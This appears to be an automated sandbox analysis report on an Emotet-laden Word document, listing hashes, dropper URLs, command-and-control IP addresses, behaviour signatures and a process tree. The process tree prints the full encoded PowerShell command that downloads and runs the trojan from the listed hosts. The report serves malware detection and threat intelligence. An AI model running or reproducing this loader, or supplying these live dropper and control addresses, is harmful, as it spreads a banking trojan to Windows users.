Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

1

Analysis

  • max time kernel
    68s
  • max time network
    89s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    19/08/2020, 05:41

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e3_bdbbc2472bbbbe62891dd3f43e1256385069c843759b70f47ff572018f88c9b5_2020-08-19__054045._doc.doc
  • Size 178KB
  • Sample200819-x2ch33vb5j
  • SHA256 bdbbc2472bbbbe62891dd3f43e1256385069c843759b70f47ff572018f88c9b5
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://android.readersareleader.com/fetch/OiIXe/
  • exe.dropper

    http://noithatmtk.com/temp/EBlKvJw/
  • exe.dropper

    http://amde.in/js/ixqaSyVn/
  • exe.dropper

    http://corporateworldwidetransportation.com/wp-includes/qKnMbB/
  • exe.dropper

    https://revilorealty.com/wp-content/zxd4b0k326536293/
  • exe.dropper

    http://pharmacmi.com/vendor/KPNWyhJ/
  • exe.dropper

    http://readersareleader.com/wp-content/CZk/

Extracted

Family

  • emotet

C2

  • 112.78.142.170:80

  • 178.128.14.92:8080

  • 178.238.232.46:443

  • 185.142.236.163:443

  • 192.210.217.94:8080

  • 192.241.220.183:8080

  • 105.209.235.113:8080

  • 182.187.139.200:8080

  • 188.0.135.237:80

  • 201.213.177.139:80

  • 31.146.61.34:80

  • 202.5.47.71:80

  • 81.17.93.134:80

  • 192.163.221.191:8080

  • 97.104.107.190:80

  • 201.235.10.215:80

  • 181.114.114.203:80

  • 51.38.201.19:7080

  • 46.32.229.152:8080

  • 177.144.130.105:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_bdbbc2472bbbbe62891dd3f43e1256385069c843759b70f47ff572018f88c9b5_2020-08-19__054045._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1244
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABGAHIANAA3ADkAbwB2AD0AKAAnAFEAcwA3ACcAKwAnADEAaQAnACsAJwBnADUAJwApADsALgAoACcAbgBlAHcAJwArACcALQAnACsAJwBpAHQAZQBtACcAKQAgACQAZQBOAHYAOgBUAEUAbQBQAFwATwBmAEYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBDAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAUgBpAHQAWQBwAHIAYABvAGAAVABgAE8AYwBgAG8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAcwAnACsAJwAxACcAKwAnADIAJwArACcALAAgAHQAbABzADEAMQAsACcAKwAnACAAdABsAHMAJwApADsAJABRAGkAegA0AHkAbgBnACAAPQAgACgAJwBSAHUAJwArACcAbQB0AF8AJwArACcAMQA5ACcAKQA7ACQAWABnADUAYQA1AF8AOAA9ACgAJwBZAF8AJwArACcAdwAzAHgAdQAnACsAJwBsACcAKQA7ACQAWgB2AGsANgBwAGsAcwA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAVABXAHUATwAnACsAJwBmAGYAJwArACcAaQBjAGUAJwArACcAMgAnACsAJwAwACcAKwAnADEAOQBUAFcAdQAnACkAIAAgAC0AcgBlAHAATABhAGMAZQAgACAAKABbAEMASABhAFIAXQA4ADQAKwBbAEMASABhAFIAXQA4ADcAKwBbAEMASABhAFIAXQAxADEANwApACwAWwBDAEgAYQBSAF0AOQAyACkAKwAkAFEAaQB6ADQAeQBuAGcAKwAoACcALgBlAHgAJwArACcAZQAnACkAOwAkAFoAOABpADkAcAAzAGEAPQAoACcASwAnACsAJwBtAGUAJwArACcAZQBiAHkAdgAnACkAOwAkAFUAZAA0AG0AZABrAHUAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AVwBFAEIAQwBsAEkAZQBuAFQAOwAkAE4AcABxAHMAagBzADMAPQAoACcAaAB0AHQAcAA6ACcAKwAnAC8ALwBhACcAKwAnAG4AZAByAG8AJwArACcAaQBkACcAKwAnAC4AcgBlAGEAJwArACcAZABlACcAKwAnAHIAJwArACcAcwAnACsAJwBhAHIAZQBsAGUAYQBkACcAKwAnAGUAcgAuAGMAbwAnACsAJwBtAC8AJwArACcAZgBlAHQAYwBoAC8ATwAnACsAJwBpAEkAWABlAC8AKgAnACsAJwBoAHQAdAAnACsAJwBwADoALwAvAG4AbwBpACcAKwAnAHQAJwArACcAaABhAHQAbQB0AGsALgBjAG8AJwArACcAbQAnACsAJwAvAHQAZQBtAHAALwBFAEIAJwArACcAbABLAHYASgB3AC8AKgAnACsAJwBoAHQAdABwADoALwAvACcAKwAnAGEAbQBkAGUAJwArACcALgBpACcAKwAnAG4AJwArACcALwBqAHMALwBpAHgAcQBhACcAKwAnAFMAJwArACcAeQBWAG4AJwArACcALwAnACsAJwAqAGgAdAB0AHAAOgAvAC8AYwBvAHIAcABvAHIAYQB0AGUAdwBvAHIAbABkAHcAJwArACcAaQBkAGUAJwArACcAdAAnACsAJwByAGEAbgBzAHAAbwByAHQAYQB0AGkAbwAnACsAJwBuACcAKwAnAC4AJwArACcAYwAnACsAJwBvACcAKwAnAG0ALwB3AHAALQAnACsAJwBpAG4AYwBsAHUAZABlAHMAJwArACcALwBxAEsAJwArACcAbgBNAGIAQgAvACcAKwAnACoAaAAnACsAJwB0AHQAcAAnACsAJwBzADoALwAvAHIAZQAnACsAJwB2AGkAbABvACcAKwAnAHIAZQAnACsAJwBhAGwAJwArACcAdAAnACsAJwB5ACcAKwAnAC4AJwArACcAYwBvAG0ALwB3ACcAKwAnAHAAJwArACcALQAnACsAJwBjAG8AbgB0AGUAJwArACcAbgB0ACcAKwAnAC8AegB4AGQANABiADAAawAzACcAKwAnADIANgA1ACcAKwAnADMAJwArACcANgAyADkAJwArACcAMwAvACoAaAB0ACcAKwAnAHQAcAAnACsAJwA6AC8ALwBwAGgAYQByAG0AYQBjAG0AaQAuAGMAbwAnACsAJwBtACcAKwAnAC8AdgBlACcAKwAnAG4AZAAnACsAJwBvAHIAJwArACcALwBLACcAKwAnAFAAJwArACcATgBXAHkAaAAnACsAJwBKAC8AJwArACcAKgBoAHQAdABwACcAKwAnADoAJwArACcALwAvAHIAZQAnACsAJwBhAGQAJwArACcAZQByAHMAYQByAGUAbAAnACsAJwBlACcAKwAnAGEAJwArACcAZABlAHIALgBjACcAKwAnAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBDAFoAJwArACcAawAvACcAKQAuACIAcwBgAFAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABPAHYAMAAyAHUAdQB1AD0AKAAnAFAAJwArACcAZgA0AGoAdQBiAHoAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAQwBlAHUANQBqAHAAcAAgAGkAbgAgACQATgBwAHEAcwBqAHMAMwApAHsAdAByAHkAewAkAFUAZAA0AG0AZABrAHUALgAiAGQATwB3AE4AYABMAE8AYABBAEQAZgBgAEkATABFACIAKAAkAEMAZQB1ADUAagBwAHAALAAgACQAWgB2AGsANgBwAGsAcwApADsAJABGADEAdABjAHIAYQAzAD0AKAAnAEUAbgB3AHIANwAzACcAKwAnAHoAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFoAdgBrADYAcABrAHMAKQAuACIATABgAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADIANQAyADQANgApACAAewAmACgAJwBJAG4AdgBvAGsAJwArACcAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABaAHYAawA2AHAAawBzACkAOwAkAEMAaQBjAHYAdgBjAHEAPQAoACcAUABtAGsAXwAnACsAJwAzADgAbgAnACkAOwBiAHIAZQBhAGsAOwAkAFoAOABtAGUAcwBiAHQAPQAoACcAVgB2AGcAJwArACcAMABkADMAJwArACcANAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE4ANwByADUAeAB1AHgAPQAoACcAQwAxACcAKwAnADcAJwArACcAeQBzAGYAbwAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1480
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Rumt_19.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Rumt_19.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1768
      • C:\Windows\SysWOW64\KBDA2\logagent.exe
        "C:\Windows\SysWOW64\KBDA2\logagent.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1580

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/1244-7-0x0000000007090000-0x0000000007290000-memory.dmp
        Download

        memory/1244-6-0x000000000C0B0000-0x000000000C0B4000-memory.dmp
        Download

        memory/1244-2-0x0000000008B30000-0x0000000008B34000-memory.dmp
        Download

        memory/1244-8-0x0000000007090000-0x0000000007290000-memory.dmp
        Download

        memory/1244-3-0x0000000007090000-0x0000000007290000-memory.dmp
        Download

        memory/1244-4-0x0000000007090000-0x0000000007290000-memory.dmp
        Download

        memory/1244-5-0x000000000B030000-0x000000000B034000-memory.dmp
        Download

        memory/1480-14-0x000000001B4A0000-0x000000001B4A1000-memory.dmp
        Download

        memory/1480-13-0x0000000001F30000-0x0000000001F31000-memory.dmp
        Download

        memory/1480-12-0x0000000002600000-0x0000000002601000-memory.dmp
        Download

        memory/1480-15-0x000000001B7C0000-0x000000001B7C1000-memory.dmp
        Download

        memory/1480-11-0x000000001AB30000-0x000000001AB31000-memory.dmp
        Download

        memory/1480-10-0x0000000002420000-0x0000000002421000-memory.dmp
        Download

        memory/1480-9-0x000007FEF24C0000-0x000007FEF2EAC000-memory.dmp
        Download

        memory/1580-22-0x0000000000360000-0x000000000036C000-memory.dmp
        Download

        memory/1768-18-0x0000000000440000-0x000000000044C000-memory.dmp
        Download

        memory/1896-23-0x000007FEF2C30000-0x000007FEF2EAA000-memory.dmp
        Download